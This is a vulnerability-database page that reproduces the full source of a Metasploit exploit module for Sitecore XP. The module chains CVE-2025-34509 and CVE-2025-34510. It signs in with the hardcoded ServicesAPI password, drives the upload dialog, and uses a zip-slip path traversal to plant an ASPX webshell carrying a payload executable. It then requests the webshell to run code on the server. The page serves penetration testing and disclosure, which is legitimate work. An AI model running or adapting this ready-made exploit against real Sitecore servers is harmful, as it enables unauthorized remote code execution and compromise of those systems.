Lucene search
K

📄 Sitecore XP Post-Authentication Remote Code Execution

🗓️ 12 Sep 2025 00:00:00Reported by msutovsky-r7, Piotr BazydloType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 249 Views

Exploits Sitecore XP CVE-2025-34510 RCE via path traversal and hardcoded ServicesAPI credentials.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-34509
17 Jun 202518:38
circl
Circl
CVE-2025-34510
17 Jun 202519:39
circl
CNNVD
Sitecore Experience Platform和Sitecore Experience Manager 信任管理问题漏洞
17 Jun 202500:00
cnnvd
CNNVD
Sitecore多款产品 安全漏洞
17 Jun 202500:00
cnnvd
CVE
CVE-2025-34509
17 Jun 202518:20
cve
CVE
CVE-2025-34510
17 Jun 202518:46
cve
Cvelist
CVE-2025-34509 Sitecore XM and XP Hardcoded Credentials
17 Jun 202518:20
cvelist
Cvelist
CVE-2025-34510 Sitecore XM, XC, and XP Post-Auth RCE via Zip Slip
17 Jun 202518:46
cvelist
EUVD
EUVD-2025-18524
3 Oct 202520:07
euvd
EUVD
EUVD-2025-18525
17 Jun 202518:46
euvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rex/zip'
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HTTP::SitecoreXp
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Piotr Bazydlo', # Discovery
              'msutovsky-r7' # Module Creator
            ],
            'References' => [
              ['CVE', '2025-34510'],
              ['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
              ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
            ],
            'DisclosureDate' => '2025-06-17',
            'DefaultTarget' => 0,
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Windows',
                {
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ]
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
        ])
      end
    
      def check
        return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')
    
        @is_logged = true
    
        return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies
    
        @is_elevated = true
    
        sitecore_version = get_version
    
        return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
    
        Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
      end
    
      def upload_step(data)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
          'vars_get' => { 'hdl' => 'sc_ct_trk' },
          'keep_cookies' => true,
          'vars_post' => data
        })
        res
      end
    
      def upload_zipslip
        fake_zip = "#{Rex::Text.rand_text_alphanumeric(10)}.zip"
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
          'vars_get' => { 'hdl' => 'sc_ct_trk' },
          'keep_cookies' => true
        })
    
        return false unless res&.code == 200
    
        hidden_inputs = res.get_hidden_inputs
        html_body = res.get_html_document
    
        view_state = html_body.at("input[@name='__VIEWSTATE']")
    
        file_el = html_body.xpath('//input').find { |link| link['name'] =~ /File([0-9]+)/ }
    
        return false unless hidden_inputs && view_state && file_el
    
        file_param = file_el['name']
    
        proto = datastore['ssl'] ? 'https' : 'http'
    
        res = upload_step({
          '__PARAMETERS' => 'FileChange',
          '__EVENTTARGET' => file_param,
          '__EVENTARGUMENT' => '',
          '__SOURCE' => file_param,
          '__EVENTTYPE' => 'change',
          '__CONTEXTMENU' => '',
          '__MODIFIED' => '',
          '__ISEVENT' => '1',
          '__SHIFTKEY' => '',
          '__CTRLKEY' => '',
          '__ALTKEY' => '',
          '__BUTTON' => 'undefined',
          '__KEYCODE' => 'undefined',
          '__X' => 'undefined',
          '__Y' => 'undefined',
          '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
          '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
          '__VIEWSTATE' => view_state['value'],
          'Language' => hidden_inputs.dig(0, 'Language'),
          'Item' => hidden_inputs.dig(0, 'Item'),
          'Path' => hidden_inputs.dig(0, 'Path'),
          'Unzip' => '0',
          'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
          file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
          'ffSubmitForm' => ''
        })
    
        return false unless res&.code == 200
    
        json_data = res.get_json_document
    
        return false unless json_data.dig('commands', 1, 'value') =~ /name="File([a-zA-Z0-9]+)"/
    
        new_file_input = "File#{Regexp.last_match(1)}"
    
        res = upload_step({
          '__PARAMETERS' => '',
          '__EVENTTARGET' => 'NextButton',
          '__EVENTARGUMENT' => '',
          '__SOURCE' => 'NextButton',
          '__EVENTTYPE' => 'click',
          '__CONTEXTMENU' => '',
          '__MODIFIED' => '',
          '__ISEVENT' => '1',
          '__SHIFTKEY' => '',
          '__CTRLKEY' => '',
          '__ALTKEY' => '',
          '__BUTTON' => '0',
          '__KEYCODE' => 'undefined',
          '__X' => '1525',
          '__Y' => '1258',
          '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
          '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
          '__VIEWSTATE' => view_state['value'],
          'Language' => hidden_inputs.dig(0, 'Language'),
          'Item' => hidden_inputs.dig(0, 'Item'),
          'Path' => hidden_inputs.dig(0, 'Path'),
          'Unzip' => '0',
          'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
          new_file_input => '',
          file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
          'ffSubmitForm' => ''
        })
    
        return false unless res&.code == 200
    
        res = upload_step({
          '__PARAMETERS' => '',
          '__EVENTTARGET' => 'NextButton',
          '__EVENTARGUMENT' => '',
          '__SOURCE' => 'NextButton',
          '__EVENTTYPE' => 'click',
          '__CONTEXTMENU' => '',
          '__MODIFIED' => '',
          '__ISEVENT' => '1',
          '__SHIFTKEY' => '',
          '__CTRLKEY' => '',
          '__ALTKEY' => '',
          '__BUTTON' => '0',
          '__KEYCODE' => 'undefined',
          '__X' => '1524',
          '__Y' => '1265',
          '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
          '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
          '__VIEWSTATE' => view_state['value'],
          'Language' => hidden_inputs.dig(0, 'Language'),
          'Item' => hidden_inputs.dig(0, 'Item'),
          'Path' => hidden_inputs.dig(0, 'Path'),
          'Unzip' => '0',
          'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
          new_file_input => '',
          file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
          'ffSubmitForm' => ''
        })
    
        return false unless res&.code == 200
    
        res = upload_step({
          '__PARAMETERS' => 'upload:unzipclicked',
          '__EVENTTARGET' => 'UnzipCheck',
          '__EVENTARGUMENT' => '',
          '__SOURCE' => 'UnzipCheck',
          '__EVENTTYPE' => 'change',
          '__CONTEXTMENU' => '',
          '__MODIFIED' => '',
          '__ISEVENT' => '1',
          '__SHIFTKEY' => '',
          '__CTRLKEY' => '',
          '__ALTKEY' => '',
          '__BUTTON' => 'undefined',
          '__KEYCODE' => 'undefined',
          '__X' => 'undefined',
          '__Y' => 'undefined',
          '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
          '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
          '__VIEWSTATE' => view_state['value'],
          'Language' => hidden_inputs.dig(0, 'Language'),
          'Item' => hidden_inputs.dig(0, 'Item'),
          'Path' => hidden_inputs.dig(0, 'Path'),
          'Unzip' => '0',
          'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
          new_file_input => '',
          file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
          'UnzipCheck' => '1',
          'ffSubmitForm' => ''
        })
    
        return false unless res&.code == 200
    
        res = upload_step({
          '__PARAMETERS' => '',
          '__EVENTTARGET' => 'NextButton',
          '__EVENTARGUMENT' => '',
          '__SOURCE' => 'NextButton',
          '__EVENTTYPE' => 'click',
          '__CONTEXTMENU' => '',
          '__MODIFIED' => '',
          '__ISEVENT' => '1',
          '__SHIFTKEY' => '',
          '__CTRLKEY' => '',
          '__ALTKEY' => '',
          '__BUTTON' => '0',
          '__KEYCODE' => 'undefined',
          '__X' => '1523',
          '__Y' => '1257',
          '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
          '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
          '__VIEWSTATE' => view_state['value'],
          'Language' => hidden_inputs.dig(0, 'Language'),
          'Item' => hidden_inputs.dig(0, 'Item'),
          'Path' => hidden_inputs.dig(0, 'Path'),
          'Unzip' => '0',
          'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
          new_file_input => '',
          file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
          'UnzipCheck' => '1',
          'ffSubmitForm' => ''
        })
    
        return false unless res&.code == 200
    
        res = upload_step({
          '__PARAMETERS' => 'StartUploading',
          '__EVENTTARGET' => '',
          '__EVENTARGUMENT' => '',
          '__SOURCE' => '',
          '__EVENTTYPE' => '',
          '__CONTEXTMENU' => '',
          '__MODIFIED' => '',
          '__ISEVENT' => '1',
          '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
          '__VIEWSTATE' => view_state['value'],
          'Language' => hidden_inputs.dig(0, 'Language'),
          'Item' => hidden_inputs.dig(0, 'Item'),
          'Path' => hidden_inputs.dig(0, 'Path'),
          'Unzip' => '1',
          'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
          new_file_input => '',
          file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
          'UnzipCheck' => '1',
          'ffSubmitForm' => ''
        })
    
        return false unless res&.code == 200
    
        zip = Rex::Zip::Archive.new
    
        @webshell_file = "#{Rex::Text.rand_text_alpha(15)}.aspx"
        exe = generate_payload_exe
        asp = Msf::Util::EXE.to_exe_aspx(exe)
    
        zip.add_file('//\/../' + @webshell_file, asp)
    
        zip_data = zip.pack
    
        vars_form_data = [
          { 'name' => '__CSRFTOKEN', 'data' => hidden_inputs.dig(0, '__CSRFTOKEN') },
          { 'name' => '__VIEWSTATE', 'data' => view_state['value'] },
          { 'name' => 'Item', 'data' => hidden_inputs.dig(0, 'Item') },
          { 'name' => 'Language', 'data' => hidden_inputs.dig(0, 'Language') },
          { 'name' => 'Path', 'data' => hidden_inputs.dig(0, 'Path') },
          { 'name' => 'Unzip', 'data' => '1' },
          { 'name' => 'Overwrite', 'data' => hidden_inputs.dig(0, 'Overwrite') },
          { 'name' => file_param, 'data' => zip_data, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => fake_zip },
          { 'name' => new_file_input, 'data' => '', 'content_type' => 'application/octet-stream', 'filename' => '' }
        ]
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
          'vars_get' => { 'hdl' => 'sc_ct_trk' },
          'vars_form_data' => vars_form_data
        })
    
        return false unless res&.code == 200 && res.body.include?('Done')
    
        true
      end
    
      def trigger_payload
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(@webshell_file)
        })
      end
    
      def exploit
        if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
          fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
        end
    
        if !@is_elevated && !get_identity_cookies
          fail_with(Failure::Unknown, 'Failed to get elevated cookies')
        end
    
        fail_with(Failure::PayloadFailed, 'Failed to upload malicious ZIP') unless upload_zipslip
    
        trigger_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation